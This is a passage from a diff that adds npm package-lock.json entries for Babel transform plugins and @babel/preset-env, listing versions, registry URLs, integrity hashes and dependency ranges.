+      "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-classes": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.19.0.tgz",
+      "integrity": "sha512-YfeEE9kCjqTS9IitkgfJuxjcEtLUHMqa8yUJ6zdz8vR7hKuo6mOy2C05P0F1tdMmDCeuyidKnlrw/iTppHcr2A==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-compilation-targets": "^7.19.0",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "globals": "^11.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-computed-properties": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz",
+      "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-destructuring": {
+      "version": "7.18.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.13.tgz",
+      "integrity": "sha512-TodpQ29XekIsex2A+YJPj5ax2plkGa8YYY6mFjCohk/IG9IY42Rtuj1FuDeemfg2ipxIFLzPeA83SIBnlhSIow==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-dotall-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz",
+      "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-duplicate-keys": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz",
+      "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-exponentiation-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz",
+      "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==",
+      "dependencies": {
+        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-flow-strip-types": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.19.0.tgz",
+      "integrity": "sha512-sgeMlNaQVbCSpgLSKP4ZZKfsJVnFnNQlUSk6gPYzR/q7tzCgQF2t8RBKAP6cKJeZdveei7Q7Jm527xepI8lNLg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-flow": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-for-of": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz",
+      "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-function-name": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz",
+      "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==",
+      "dependencies": {
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-function-name": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-literals": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz",
+      "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-member-expression-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz",
+      "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-amd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz",
+      "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-commonjs": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz",
+      "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-systemjs": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.19.0.tgz",
+      "integrity": "sha512-x9aiR0WXAWmOWsqcsnrzGR+ieaTMVyGyffPVA7F8cXAGt/UxefYv6uSHZLkAFChN5M5Iy1+wjE+xJuPt22H39A==",
+      "dependencies": {
+        "@babel/helper-hoist-variables": "^7.18.6",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-systemjs/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-umd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz",
+      "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-named-capturing-groups-regex": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.19.1.tgz",
+      "integrity": "sha512-oWk9l9WItWBQYS4FgXD4Uyy5kq898lvkXpXQxoJEY1RnvPk4R/Dvu2ebXU9q8lP+rlMwUQTFf2Ok6d78ODa0kw==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-new-target": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz",
+      "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-object-super": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz",
+      "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-parameters": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz",
+      "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-property-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz",
+      "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-constant-elements": {
+      "version": "7.18.12",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.18.12.tgz",
+      "integrity": "sha512-Q99U9/ttiu+LMnRU8psd23HhvwXmKWDQIpocm0JKaICcZHnw+mdQbHm6xnSy7dOl8I5PELakYtNBubNQlBXbZw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-display-name": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz",
+      "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz",
+      "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==",
+      "peer": true,
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-jsx": "^7.18.6",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-development": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz",
+      "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==",
+      "dependencies": {
+        "@babel/plugin-transform-react-jsx": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-pure-annotations": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz",
+      "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-regenerator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz",
+      "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "regenerator-transform": "^0.15.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-reserved-words": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz",
+      "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-runtime": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.19.1.tgz",
+      "integrity": "sha512-2nJjTUFIzBMP/f/miLxEK9vxwW/KUXsdvN4sR//TmuDhe6yU2h57WmIOE12Gng3MDP/xpjUV/ToZRdcf8Yj4fA==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-runtime/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/plugin-transform-shorthand-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz",
+      "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-spread": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.19.0.tgz",
+      "integrity": "sha512-RsuMk7j6n+r752EtzyScnWkQyuJdli6LdO5Klv8Yx0OfPVTcQkIUfS8clx5e9yHXzlnhOZF3CbQ8C2uP5j074w==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-sticky-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz",
+      "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-template-literals": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz",
+      "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-typeof-symbol": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz",
+      "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-typescript": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.19.3.tgz",
+      "integrity": "sha512-z6fnuK9ve9u/0X0rRvI9MY0xg+DOUaABDYOe+/SQTxtlptaBB/V9JIUxJn6xp3lMBeb9qe8xSFmHU35oZDXD+w==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-typescript": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-unicode-escapes": {
+      "version": "7.18.10",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz",
+      "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-unicode-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz",
+      "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-env": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.19.3.tgz",
+      "integrity": "sha512-ziye1OTc9dGFOAXSWKUqQblYHNlBOaDl8wzqf2iKXJAltYiR3hKHUKmkt+S9PppW7RQpq4fFCrwwpIDj/f5P4w==",
+      "dependencies": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6",
+        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-async-generator-functions": "^7.19.1",
+        "@babel/plugin-proposal-class-properties": "^7.18.6",
+        "@babel/plugin-proposal-class-static-block": "^7.18.6",
+        "@babel/plugin-proposal-dynamic-import": "^7.18.6",
+        "@babel/plugin-proposal-export-namespace-from": "^7.18.9",
+        "@babel/plugin-proposal-json-strings": "^7.18.6",
+        "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6",
+        "@babel/plugin-proposal-numeric-separator": "^7.18.6",
+        "@babel/plugin-proposal-object-rest-spread": "^7.18.9",
+        "@babel/plugin-proposal-optional-catch-binding": "^7.18.6",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-private-methods": "^7.18.6",
+        "@babel/plugin-proposal-private-property-in-object": "^7.18.6",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.18.6",
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-class-properties": "^7.12.13",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+        "@babel/plugin-syntax-import-assertions": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+        "@babel/plugin-syntax-top-level-await": "^7.14.5",
+        "@babel/plugin-transform-arrow-functions": "^7.18.6",
+        "@babel/plugin-transform-async-to-generator": "^7.18.6",
+        "@babel/plugin-transform-block-scoped-functions": "^7.18.6",
+        "@babel/plugin-transform-block-scoping": "^7.18.9",
+        "@babel/plugin-transform-classes": "^7.19.0",
+        "@babel/plugin-transform-computed-properties": "^7.18.9",
+        "@babel/plugin-transform-destructuring": "^7.18.13",
+        "@babel/plugin-transform-dotall-regex": "^7.18.6",
+        "@babel/plugin-transform-duplicate-keys": "^7.18.9",
+        "@babel/plugin-transform-exponentiation-operator": "^7.18.6",
+        "@babel/plugin-transform-for-of": "^7.18.8",
+        "@babel/plugin-transform-function-name": "^7.18.9",
+        "@babel/plugin-transform-literals": "^7.18.9",
+        "@babel/plugin-transform-member-expression-literals": "^7.18.6",
+        "@babel/plugin-transform-modules-amd": "^7.18.6",
+        "@babel/plugin-transform-modules-commonjs": "^7.18.6",
+        "@babel/plugin-transform-modules-systemjs": "^7.19.0",
+        "@babel/plugin-transform-modules-umd": "^7.18.6",
+        "@babel/plugin-transform-named-capturing-groups-regex": "^7.19.1",
+        "@babel/plugin-transform-new-target": "^7.18.6",
+        "@babel/plugin-transform-object-super": "^7.18.6",
+        "@babel/plugin-transform-parameters": "^7.18.8",
+        "@babel/plugin-transform-property-literals": "^7.18.6",
+        "@babel/plugin-transform-regenerator": "^7.18.6",
+        "@babel/plugin-transform-reserved-words": "^7.18.6",
+        "@babel/plugin-transform-shorthand-properties": "^7.18.6",
+        "@babel/plugin-transform-spread": "^7.19.0",
+        "@babel/plugin-transform-sticky-regex": "^7.18.6",
+        "@babel/plugin-transform-template-literals": "^7.18.9",
+        "@babel/plugin-transform-typeof-symbol": "^7.18.9",
